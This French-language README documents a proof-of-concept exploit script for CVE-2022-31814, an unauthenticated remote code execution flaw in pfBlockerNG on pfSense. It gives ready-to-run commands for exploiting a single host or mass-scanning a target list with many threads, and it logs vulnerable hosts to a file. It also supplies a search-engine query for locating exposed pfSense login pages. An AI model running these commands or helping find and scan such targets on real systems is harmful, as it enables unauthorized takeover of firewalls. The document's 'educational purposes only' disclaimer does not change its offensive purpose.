
pfBlockerNG <= 2.1.4_26 RCE non authentifiée (CVE-2022-31814)
Ce script est une preuve de concept d'exploit pour pfBlockerNG <= 2.1.4_26 qui permet l'exécution de code à distance. Il prend une URL cible unique ou une liste d'URLs, téléverse un shell, exécute une commande, puis supprime le shell.
Ce script nécessite Python 3.x et les modules requests et concurrent.futures. Vous pouvez installer ces modules en exécutant :
pip3 install requests concurrent.futures
ou
pip3 install -r requirements.txt
usage: exploit.py [-h] [-c COMMAND] [-l LIST] [-i IP] [-t THREADS] [-o OUTPUT]
pfBlockerNG <= 2.1.4_26 Unauth RCE
options:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
Console Command ('id')
-l LIST, --list LIST List of targets (list.txt)
-i IP, --ip IP Base target uri (ex. http://target-uri/)
-t THREADS, --threads THREADS
Number of threads for mass scan
-o OUTPUT, --output OUTPUT
Output file (vuln.txt)
Pour exploiter une cible unique, utilisez l'option -i ou --ip et spécifiez l'URL de base ou l'adresse IP :
python3 exploit.py -i http://target-uri/ -c 'id'
Pour scanner une liste de cibles, utilisez l'option -l ou --list et spécifiez le chemin vers la liste :
python3 exploit.py -l list.txt -c 'id' -t 50
L'option -t ou --threads peut être utilisée pour spécifier le nombre de threads à utiliser pour le scan.
Si l'option -o ou --output est spécifiée, la liste des cibles vulnérables sera écrite dans un fichier :
python3 exploit.py -l list.txt -c 'id' -o vuln.txt
http.title:"pfSense - Login" "Server: nginx" "Set-Cookie: PHPSESSID="
Ce script est uniquement à des fins éducatives. Utilisez-le à vos propres risques.